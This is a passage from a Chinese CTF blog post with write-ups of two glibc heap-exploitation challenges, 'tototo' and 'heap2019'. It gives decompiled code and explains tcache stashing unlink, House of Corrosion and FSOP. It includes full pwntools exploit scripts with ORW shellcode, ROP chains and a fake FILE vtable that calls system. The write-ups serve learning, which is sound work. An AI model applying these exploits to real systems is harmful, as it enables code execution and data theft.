frame.rsp = malloc_hook + 0x8
frame.rip = libc_base + libc.symbols['mprotect']

chunk_edit= str(frame)


#------------------------ ORW_shellcode ----------------------------
shell = """
xor rsi,rsi
mov rax,SYS_open
call start
.string "./flag"
start:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""

payload

1
2
3
__malloc_hook_edit = p64(setcontext+61) + p64(malloc_hook+0x10) + asm(shell)

payload = fake_io + chunk_edit.encode() + p64(0)*3 + __malloc_hook_edit

分析

版本:Ubuntu GLIBC 2.31-0ubuntu9.2

沙箱

1
2
3
4
5
6
7
8
9
10
11
chen@chen:~/桌面/match/Pwnhub/tototo/toto$ seccomp-tools dump ./tototo
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int buf; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
buf = 0;
init_0();
sandbox(a1, a2);
while ( 1 )
{
ban_free_hook(); //打free_hook就exit
menu();
read(0, &buf, 4uLL);
switch ( atoi((const char *)&buf) )
{
case 1:
Add(); //Add_num <=10 ; chunk_size = [0x200, 0x800]
break;
case 2:
Delete(); //UAF
break;
case 3:
Edit(); //没有offbyone,从bk+1处开始修改,三次机会
break;
case 4:
Show(); //泄露
break;
case 5:
Calloc(); // Calloc_num <=10 ; calloc不从tcache 里面取
break;
default:
continue;
}
}
}

思路

函数给了calloc函数,官方WP打法tcache_stashing_unlink_attack,学习下

  1. 程序有UAF漏洞,可以从bk处编辑;
  2. 只泄露libc地址后,找到 mp_.tcache_bins 偏移,可以⽤ p mp_ 来查看
  3. 算出偏移后,利⽤ tcache stash unlink attack 攻击技术攻击 mp.tcache_bins ,这样可以将大堆块 也放置到 tcache_bins 当中
  4. 之后free⼀个 large_bins ,这样再修改其对应的位置的地址,申请到 malloc_hook 附近
  5. 打IO流,Orw攻击泄露flag。

自己的思路:存在UAF,初步的想法是large bin attack打mp_,通过calloc申请两个large bin泄露libc和heap

再利用malloc实现large bin attack打mp_,再tcache poinsion打malloc 接 setcontext_61+ORW

(刚开始审代码不仔细,以为是calloc和malloc一共10次..)

思路跟官方wp应该差不多

还有个打法,打environ泄露栈地址,在栈上接rop进行ORW

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#coding=utf-8
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc-2.31.so')
banary = "./tototo"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ----------------------------
def menu(choice):
ru('is:')
sl(str(choice))

def add(index, size):
menu(1)
ru('index?')
sl(str(index))
ru('size?')
sl(str(size))

def free(index):
menu(2)
ru('one?')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('one?')
sl(str(index))
ru('content?')
sl(con)

def show(index):
menu(4)
ru('one?')
sl(str(index))

def calloc(index, size):
menu(5)
ru('index?')
sl(str(index))
ru('size?')
sl(str(size))

#------------------------ leak_libc ----------------------------
calloc(10, 0x500)
calloc(0, 0x5d0) #calloc_1
for i in range(2, 7): #malloc_5
add(i, 0x2e0)

free(0)
show(0)
libc_base=uu64()-96-0x10-libc.sym["__malloc_hook"]
lg('libc_base')

mp = libc_base+ 0x1EC2D0
lg('mp')

stdin = libc_base+ libc.sym["_IO_2_1_stdin_"]
lg('stdin')

#------------------------ Tcache Stashing Unlink ---------------
add(0, 0x2e0)
add(1, 0x2e0) #malloc_7


for i in range(7):
free(i)

for i in range(4):
calloc(i , 0x2e0)

free(0) #chunk0, one_smallbin
free(2) #chunk2, seconde_smallbin

#chunk2 -> chunk0
calloc(4, 0x500)
add(7, 0x2e0) #take a tcache

edit(2,p64(mp>>8)) #chunk2_bk -> mp_.tcache_bins - 0x10


calloc(12, 0x2e0) #ATTACK, change mp
#Tcache bin: chunk2 -> chunk0
#Small bin : chunk2 -> chunk0

#calloc_7, malloc_7

#------------------------ Gadget ----------------------------
malloc_hook=libc_base+libc.symbols["__malloc_hook"]

setcontext = libc_base+libc.sym['setcontext']

stdin=libc_base+libc.sym["_IO_2_1_stdin_"]

malloc_hook_base=malloc_hook&0xfffffffffffff000 #内存⻚对⻬
lg('malloc_hook_base')

_IO_str_jumps = libc_base + 0x1E9560 #_IO_str_jumps
lg('_IO_str_jumps')
#------------------------ fake_IO_stdin ----------------------------
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr: _IO_wide_data_0
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(_IO_str_jumps) #vtable


#------------------------ mprotect ----------------------------
frame = SigreturnFrame()
frame.rdi = malloc_hook_base
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = malloc_hook + 0x8
frame.rip = libc_base + libc.symbols['mprotect']

chunk_edit= bytes(frame)
print(hex(len(chunk_edit)))

#------------------------ ORW_shellcode ----------------------------
shell = """
xor rsi,rsi
mov rax,SYS_open
call start
.string "./flag"

start:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""

payload = fake_io #0xe0
payload += chunk_edit #0xf8
payload += p64(0)*3 #0x18
payload += p64(setcontext+61) #malloc_hook
payload += p64(malloc_hook+0x10) #malloc_hook+8
payload += asm(shell)

#------------------------ Attack ----------------------------
add(11, 0x300) #malloc_9

free(10) #set chunk10 in tcache_bins

edit(10, b"a"*7 + p64(stdin-0x10)*0x50) #tcache_bk -> IO_stdin

add(10 , 0x500)

edit(10, b"a"*7 + payload)
debug()

menu(1) #malloc_11--> exit

pi()

exp2-environ

通过environ,泄露栈地址,通过这个地址计算edit函数中调用read_con时的返回地址

在其ret处布置orw链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#coding=utf-8
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc-2.31.so')
banary = "./tototo"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ----------------------------
def menu(choice):
ru('is:')
sl(str(choice))

def add(index, size):
menu(1)
ru('index?')
sl(str(index))
ru('size?')
sl(str(size))

def free(index):
menu(2)
ru('one?')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('one?')
sl(str(index))
ru('content?')
sl(con)

def show(index):
menu(4)
ru('one?')
sl(str(index))

def calloc(index, size):
menu(5)
ru('index?')
sl(str(index))
ru('size?')
sl(str(size))

#------------------- libc & heap & stack -------------------
#libc_base
calloc(0, 0x620)
calloc(1, 0x200)
free(0)

show(0)
libc_base = uu64() - 0x70 - libc.sym['__malloc_hook']
lg('libc_base')

#heap_base
add(2, 0x208)
add(3, 0x208)
add(4, 0x208)
free(1)
free(3)

show(3)
p.recvline()
heap_base = u64(p.recvuntil(b"\n").strip().ljust(8,b"\x00"))-0x8d0
lg('heap_base')

#stack
environ = libc_base + libc.sym['environ']
lg('environ')

edit(0, b'\x00'*(7+0x1F8) + p64(0x211) + p64(environ) ) #3 --> environ
add(3, 0x200)
add(5, 0x200)

show(5)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
lg('stack')

rbp = stack - 0x108 #0xdfb0
edit_rbp = stack - 0x128 #0xdf90
edit_ret = stack - 0x120 #0xdf98
lg('edit_rbp')
lg('edit_ret')

edit_read_rbp = stack - 0x148 #0xdf70
edit_read_ret = stack - 0x140 #0xdf78
lg('edit_read_ret')
#---------------------- stack + ORW ---------------------------
free(4)
free(3)

#edit_ret -> orw: find a chunk size=1
#canary
edit(0, b'\x00'*(7+0x1F8) + p64(0x211)+ p64(edit_read_rbp-0x8)) #0xdf68

add(3, 0x200)
#debug()
add(6, 0x200)
#debug()
#ORW
pop_rdi = libc_base + 0x0000000000026b72 # pop rdi ; ret
pop_rdx = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
pop_rsi = libc_base + 0x0000000000027529 # pop rsi ; ret
pop_rax = libc_base + 0x000000000004a550 # pop rax ; ret
syscall = libc_base + 0x000000000002584d
lg('pop_rdi')
#ret = libc_base + 0x0000000000022679
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

#edit_read_rbp-0x8: canary
payload = b'\x00'*7 #rbp
payload += flat([
pop_rdi, edit_read_rbp+0x88 , pop_rsi, 0, open_addr, #ret-->pop rdi
pop_rdi, 3, pop_rsi, heap_base+0x2b0, pop_rdx, 0xff, 0, read_addr ,
pop_rdi, heap_base+0x2b0, puts_addr,
'./flag\0'
])

edit(6, payload)


pi()

5. 2023_heap2019

版本:2.23-0ubuntu11.3_amd64

/home/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so

/home/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so

House of corrosion

原理:

global_max_fast:用来储存 fastbin 链表能够储存的最大大小,其默认值为 0x80

fastbinsY :储存 fastbin 不同大小链表头指针的一段空间,为大小从 0x20 开始的 fastbin 链表预留了十个指针

通过漏洞修改global_max_fast为一个大值,造成 fastbinsY 数组溢出,后续malloc和free的堆块都属于fastbin

如果有 SIZE 超过 0xB0 的堆块,那么这个堆块计算得到的索引值就会超出 fastbinsY 的最大范围,造成数组越界。

我们可以使用以下公式来计算出目标溢出位置,对应的需要构造的堆块 SIZE。

delta 指的是溢出位置到 fastbinsY 首地址的差值

1
chunksize= (delta * 2) + 0x20

利用:

核心思想是改global_max_fast为一个大数,之后释放的大堆块,可以进入fastbin

  1. fastbin_ptr指向main_arena+8(libc-2.23),libc-2.27及以上指向main_arna+0x10
  2. fastbin_ptr中存放了各大小fastbin的fd指针,指向各fastbin链表的首个堆块地址,修改global_max_fast后,释放大堆块可以进入fastbin
  3. 通过malloc一个特定size的chunk,篡改global_max_fast,free掉这个堆块,触发攻击
  4. 实现在向一个 libc 地址中写入刚刚申请的堆地址
1
2
3
4
fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8 (0x10)
index = (target_addr - fastbin_ptr) / 8
size = index*0x10 + 0x20
malloc(size)

堆块中若是伪造的IO流,当后续触发libc时,就会实现IO

后续利用:

IO_FILE attack:覆写_IO_list_all,使其指向伪造的结构体,或者伪造._chain指向的结构体来实现任意读写,或者伪造vtable(libc-2.23)进行任意写

打free_hook函数:(__malloc_hook与__realloc_hook在main_arena的上方),从而getshell

改stdout来泄露相关信息,也可以不改_flags

假设有漏洞可以修改一个堆块的size,那么可以构造_IO_read_end等于_IO_write_base来进行绕过,具体方式是:改了global_max_fast后,先释放一个需要泄露其中内容的fake fast bin到_IO_read_end(此时,正常走IO指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base的判断,就不会执行_IO_SYSWRITE),然后修改该fake fast bin的size,再将其释放到_IO_write_base处即可。

泄露libc,在算index的时候,libc_base是被抵消掉的,是可以泄露在fastbinsY之后的数据。

思想是:当free时,会把此堆块置入fastbin链表的头部,所以在free后,此堆块的fd位置的内容,就是free前此SIZE的链表头部指针,通过越界就可以读取LIBC上某个位置的内容。

FSOP

通过劫持_IO_list_all_chain,绕过各个检测,从而指向我们伪造的IO_FILE,利用以下方法触发IO流实现攻击

  1. 当libc执行abort流程时
  2. 当执行exit函数时
  3. 当执行流从main函数返回时

libc2.23

_IO_new_file_overflow,因此在libc-2.23版本下可如下构造,进行FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
._chain => chunk_addr
chunk_addr
{
file = {
_flags = "/bin/sh\x00", //对应此结构体首地址(fp)
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '\000' <repeats 19 times>
},
vtable = heap_addr
vtable+0x18 = system_addr
}
/*
heap_addr
{
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x0,
__overflow = system_addr,
...
}
*/

分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%u", &v3);
if ( v3 != 3 )
break;
Delete(); //没有问题
}
if ( v3 > 3 )
break;
if ( v3 == 1 )
{
Add(); //malloc第6块chunk时,存在UAF,会自动free掉 (这点没啥用)
//正常add的同时,会输出值 (泄露libc和heap_base)
//大小:0x91 -- 0x2333
}
else if ( v3 == 2 )
{
Edit(); //修改Bss段上的内容,存在溢出,可以进行任意地址写入0xdeadbeef
}
}
if ( v3 == 4 )
exit(0);
if ( v3 == 2019 )
printf("%p\n", &qword_202040); //泄露elf_base,没用
}
}

Add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 Add()
{
unsigned int size; // [rsp+8h] [rbp-18h] BYREF
int size_4; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Content length:");
_isoc99_scanf("%u", &size);
if ( (unsigned int)sub_A00(size) )
{
buf = malloc(size);
for ( size_4 = 0; size_4 <= 4; ++size_4 )
{
if ( !heap[size_4] )
{
heap[size_4] = buf;
puts("Content:");
read(0, buf, size);
puts("Data is:");
puts((const char *)buf);
puts("Add OK");
break;
}
}
if ( size_4 == 5 )
{
free(buf);
puts("Too many chunks");
}
}
else
{
puts("Invalid size");
}
return __readfsqword(0x28u) ^ v4;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 Edit()
{
__int64 buf[4]; // [rsp+0h] [rbp-30h] BYREF
_QWORD *v2; // [rsp+20h] [rbp-10h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("You cannot edit chunk but you can edit comment");
puts("Comment:");
read(0, buf, 0x28uLL); //溢出
qword_2020E0 = buf[0];
qword_2020E8 = buf[1];
qword_2020F0 = buf[2];
qword_2020F8 = buf[3];
qword_202100 = (__int64)v2; //任意地址写0xdeadbeef
*v2 = '\xDE\xAD\xBE\xEF';
puts("Edit OK");
return __readfsqword(0x28u) ^ v3;
}

思路

  1. 可以申请large bin chunk,可以直接泄露Libc_base 和 heap_base
  2. 程序存在一个任意地址改为0xdeadbeef
  3. 利用House of corrsion手法
  4. 计算堆块地址偏移,伪造IO:libc版本为2.23,可以劫持vtables,malloc出chunk
  5. 改global_max_fast
  6. free该chunk,触发攻击
  7. 执行exit,触发IO流

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

libc = ELF('./libc-2.23.so')
banary = "./heap2019"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ menu ----------------------------
def menu(choice):
ru('4.exit\n')
sl(str(choice))

def add(size,con=p64(0xdeadbeef)):
menu(1)
sla(b'length:', str(size))
sa(b'Content:', con)

def BUG(size):
menu(1)
sla(b'length:', str(size))

def edit(addr):
menu(2)
sla(b'Comment:', p64(0)*4 + p64(addr))

def free(index):
menu(3)
sla(b'id:' , str(index))

def exit():
menu(4)

def backdoor():
menu(2019)

#------------------------ libc & heap ----------------------------
add(0xa28, 'a') #0
add(0x98, 'a') #1

free(0)
add(0x200, 'a') #0
libc_base = uu64() - 1345 - 0x10 - libc.sym['__malloc_hook']

add(0x418, b'a'*0xF + b'b') #2
p.recvuntil('b')
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x210

free(1)
free(2)
free(0)

backdoor()
elf_base = int(p.recv(14), 16) - 0x40

lg('libc_base')
lg('heap_base')
lg('elf_base')

add(0x108 , b'/bin/sh\0' * int(0x108/8) )

#------------------------ House of corrsion + FSOP ----------------------------
#Gadget
fastbin_ptr = libc_base + 0x3C4B28 #libc.sym['main_arena'] + 8
global_max_fast = libc_base + 0x3c67F8 #p &global_max_fast
system = libc_base + libc.sym['system']
'''
0x7f2ecfa21620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f2ecfa216a3
0x7f2ecfa21630 <_IO_2_1_stdout_+16>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3
0x7f2ecfa21640 <_IO_2_1_stdout_+32>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3
0x7f2ecfa21650 <_IO_2_1_stdout_+48>: 0x00007f2ecfa216a3 0x00007f2ecfa216a3
0x7f2ecfa21660 <_IO_2_1_stdout_+64>: 0x00007f2ecfa216a4 0x0000000000000000
0x7f2ecfa21670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f2ecfa21680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f2ecfa208e0 #_chain
0x7f2ecfa21690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f2ecfa216a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f2ecfa22780
0x7f2ecfa216b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f2ecfa216c0 <_IO_2_1_stdout_+160>: 0x00007f2ecfa207a0 0x0000000000000000
0x7f2ecfa216d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f2ecfa216e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f2ecfa216f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f2ecfa1f6e0 #vtable


'''
_chain = libc_base + 0x3c5688
vtable = libc_base + 0x3c56f8
lg('_chain')

#set _chain --> fake_IO
target = _chain-0x8
index = (target - fastbin_ptr)/8
size = index*0x10+0x20
print(hex(int(size)))


def build_fake_file( addr, rdx, _wide_data , vtable):
#flag = 0xFBAD2887
#fake_file = p64(flag) # _flags
#fake_file += p64(addr) # _IO_read_ptr
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers

fake_file += p64(0) # _chain,could be a anathor file struct

fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # fake_vtable
return fake_file

payload = build_fake_file( 0 , 0 ,0 , heap_base+0x1f0)
payload += p64(system)*4 #fake_vtable + 0x18 = system

add(int(size), payload) #fake_IO


edit(global_max_fast)


free(1)

#debug()

exit()

pi()

6. kheap

是道kernel_heap,后面做内核pwn再研究


Pwnhub三月赛+铁三heap2019
http://csc8.github.io/2023/03/18/Pwnhub-三月赛复现/
作者
Csc8
发布于
2023年3月18日
许可协议